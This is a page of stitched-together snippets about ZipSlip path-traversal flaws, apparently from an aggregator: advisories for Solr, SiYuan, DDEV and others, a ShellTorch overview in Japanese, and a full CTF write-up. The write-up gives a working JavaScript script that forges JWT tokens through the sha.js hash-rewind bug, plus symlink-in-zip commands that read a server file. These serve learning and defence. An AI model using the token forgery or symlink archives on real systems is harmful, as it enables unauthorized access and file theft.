Create tar/zip archives that try to exploit zipslip vulnerability. - NodyHub/zipslipper

Bruno is a Windows Active Directory box. I’ll start by finding a .NET sample scanning application on FTP, and after reverse engineering it, discover a ZipSlip vulnerability in how it handles zip archives. Combining that with a DLL hijack, I’ll get a shell as the service account that runs the scanner. For privilege escalation, I’ll exploit the lack of LDAP signing by performing a Kerberos relay attack, setting up resource-based constrained delegation to impersonate the Administrator.

Posted by Jason Gerlowski on Jan 26 Severity: moderate Affected versions: - Apache Solr 6.6 through 9.7.0 Description: Relative Path Traversal vulnerability in Apache Solr. Solr instances running on Windows are vulnerable to arbitrary filepath write-access, due to a lack of input-sanitation in the "configset upload" API.  Commonly known as a "zipslip", maliciously constructed ZIP files can use relative filepaths to write data to unanticipated parts of...

## Introduction This challenge felt tough. Even though I was the only person who solved this challenge, it's also the case that this is the only challenge I was able to solve in 8 hours. Since there were special protections against the use of AI and LLMs, it felt especially good after solving this challenge. Okay, so let's start without further ado, ## Source code https://drive.google.com/file/d/1AFEC93XON668Gq5I8eoVTy1gRgTpvN58/view?usp=sharing ## Understanding the application We are given source code of a web application. We can build it locally using docker. By reading through the source code and playing with the website, we can understand a couple of things: * There's functionality to log-in but no sign-up. * Only authenticated users (logged in) can upload files. * Since the flag is in the filesystem and there is no route in the application that interacts with the flag, we probably need RCE or some sort of LFI. ## Subtask 1: Log-in somehow, anyhow! It's pretty clear we need to be authenticated to do anything in this application. But there's no way for us to sign-up or register in the application and the admin's password is random and there's no way we can guess it. So we need to dig deeper. ### CVE CVE-2025-9288 | sha.js hash rewind If you try to audit the package versions inside package.json, you'll quickly find that `sha.js` which uses `2.4.10` has a critical vulnerability. You can read more about this vulnerability on it's github advisory: https://github.com/advisories/GHSA-95m3-7q98-8xr5 This CVE can be little bit tricky to understand if you are seeing anything like this for the first time, like me. You should ideally play around with it and try to understand it yourself, but let me give you the gist of it. We can pass specially crafted data to the library's update function which triggers something known as a hash rewind. For example, this is how it's normally supposed to be: > require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' But if we do, > require('sha.js')('sha256').update('foobar').update({ length: -3 }).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' Notice how we get the same hashes in both the examples even though the data entered is different? The CVE is that we can pass data of type Object like `{ length: -offset }` and it will rewind the hash function's internal state back by `offset` times which may cause undefined behavior or hash collisions like in our case. We can even DOS the server by using this technique but it's not useful in our case. Now, an even harder challenge is to figure out how you could use this to login to the application. I spent 2-3 hours at this step. ### If we can travel to the past, let's also try to visit the future This line is the reason for our whole suffering: const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]); We don't know what `secret` is. So we can never make `expectedSignatureHex` to be equal to our own created JWT signature. After a lot of thinking and trail-and-error, I figured out I could also bite off the signature part in my hash rewind. > require('sha.js')('sha256').update('foo').update({ length: -5 }).update('xyz').digest('hex') '594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06' > require('sha.js')('sha256').update('z').digest('hex') '594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06' Note how I did the -5 in the 1st command and it skipped "xy" and we get the hash for "z" only. We traveled to the future. We can use this trick to skip the entire secret except the last character. The last character can be one of the 16 hex characters. const JWT_SECRET = crypto.randomBytes(9).toString('hex'); It will be 18 characters, 9 * 2 = 18. Therefore, we can craft a brute-force attack with our hash rewind payload. We need to pass the hashes of all the 16 hex characters in the JWT signature and one of them will match and the authentication will be successful. This is the JS script which will give you all the 16 possible JWT tokens: const sha = require('sha.js'); const HEADER = { alg: 'HS256' }; const HEADER_json_str_len = JSON.stringify(HEADER).length; const PAYLOAD = { length: -(HEADER_json_str_len + 18) + 1, exp: Math.floor(Date.now() / 1000) + 100000 }; const CHARSET = '0123456789abcdef'; function genSig(c) { const hash = sha('sha256'); return hash.update(c).digest('hex'); } for (let i=0; i < 16; i++) { const c = CHARSET[i]; const sig = genSig(c); const jwt = btoa(JSON.stringify(HEADER)) + "." + btoa(JSON.stringify(PAYLOAD)) + "." + sig; console.log(jwt); } Then you can use Burp intruder and pass these tokens in the cookies (cookie name is keycode_signal) and you'll find one of them works. ## Subtask 2: ZipSlip?? Now we can upload some files. Since the name of the challenge is "ZipSlip-Stream", you might try the simple ZipSlip but it won't work. And it will be obvious why it won't work because the Dockerfile installs the latest version of `unzip` which is 99.99% NOT VULNERABLE to ZipSlip RUN apt-get update \ && apt-get install -y unzip \ && rm -rf /var/lib/apt/lists/* To be honest, I required a hint at this point by the challenge author. So the answer is..... ### Symlink LFI You will realize we aren't just limited to uploading zip files. But uploading a web shell won't work since this is an express server. So we can exfiltrate the flag using a symlink file. But the important part is to keep the symlink inside the zip file. We know the exact location of the flag, it's in root. So we do ln -s ../../../../../../../../../../flag evil zip -y evil.zip evil Then we upload this zip file (make sure to keep the name as "zip" to bypass the regex) and BOOM! We can download the flag by visiting our uploaded file. (/uploads/<some_hex>/evil) If you have any doubts, feel free to put them in the comment section of this blog :) Thank you, Ojas

TL;DR Notepad++ v8.9.7 fixes five security flaws in the popular Windows editor. Technical details and proof-of-concept exploit code for all five Notepad++ vulnerabilities are public in the project's GitHub security advisories. Three carry CVE IDs: CVE-2026-52886, CVE-2026-54758, and CVE-2026-57233. No in-the-wild exploitation has been confirmed so far. Why It Matters Notepad++ ships on millions of developer and admin desktops. Public exploit code removes the research effort attackers would otherwise need.

Treating a security patch as a signal, not a conclusion, led us to discover how arbitrary file writes became remote code execution in Argo Workflows.

SiYuan is self-hosted, open source personal knowledge management software. Versions 0.0.0-20251202123337-6ef83b42c7ce and below contain function importZipMd which is vulnerable to ZipSlips, allowing an authenticated user to overwrite files on the system. An authenticated user with access to the import functionality in notes is able to overwrite any file on the …

A relative path traversal (ZipSlip) vulnerability was discovered in Productivity Suite software version 4.4.1.19. The vulnerability allows an attacker who can tamper with a productivity project to execute arbitrary code on the machine where the project is opened.

Relative Path Traversal vulnerability in Apache Solr. Solr instances running on Windows are vulnerable to arbitrary filepath write-access, due to a lack of input-sanitation in the "configset upload" API. Commonly known as a "zipslip", maliciously constructed ZIP files can use relative filepaths to write data to unanticipated parts of the …

View detailed information about CVE-2024-7773 on CyberAlerts

v21.26.1

概要 PyTorch（TorchServe）のShellTorch脆弱性 CVE-2023-43654（CVSS: 9.8）および CVE-2022-1471 （CVSS: 9.9）について、技術的なウォークスルーを含む深掘りの全容を知りたいですか？ここがまさにその場所です。Oligo Research Teamによって最初に発見・開示されたShellTorch脆弱性により、研究者は世界最大級の組織が利用する、露出したTorchServeインスタンス数千台に対して、完全かつ無制限のアクセスを得ることができました。 ‍動機とShellTorch誕生の背景‍ TorchServeとは？‍ ShellTorch脆弱性のディープダイブ‍ バグ #1 - 管理コンソールの悪用‍ バグ #2 - SSRFがRCEにつながる（CVE-2023-43654）（NVD、CVSS 9.8）‍ バグ #3 - JavaデシリアライズRCE - CVE-2022-1471（GHSA、CVSS: 9.9）‍ バグ #4 - Zipslip -（CWE-23）アーカイブ相対パストラバーサル‍ デモ‍ 影響を受けるのは誰？‍ 悪意あるモデル：AIの「井戸」を汚染し得る新たな脅威‍ 重要なポイント‍ 参考文献 要点 2023年7月、Oligo Research Teamは、CVE-2023-43654（CVSS 9.8）を含む複数の新たな重大脆弱性を、PytorchのメンテナであるAmazonおよびMetaに開示しました。これらの脆弱性は総称してShellTorchと呼ばれ、PyTorch TorchServeにおけるリモートコード実行（RCE）につながり、最終的に攻撃者がサーバーへ完全かつ不正なアクセスを得ることを可能にします。 このアクセスを用いて、攻撃者は悪意あるAIモデルを挿入したり、さらにはサーバー全体の乗っ取りを実行したりできます。

CVE-2026-32885: DDEV is an open-source tool for running local web development environments for PHP and Node.js. Versions prior to 1.25.2 have unsanitized extraction in both `Untar()` and `Unzip()` functions in `pkg/archive/archive.go`. Downloads and extracts archives from remo...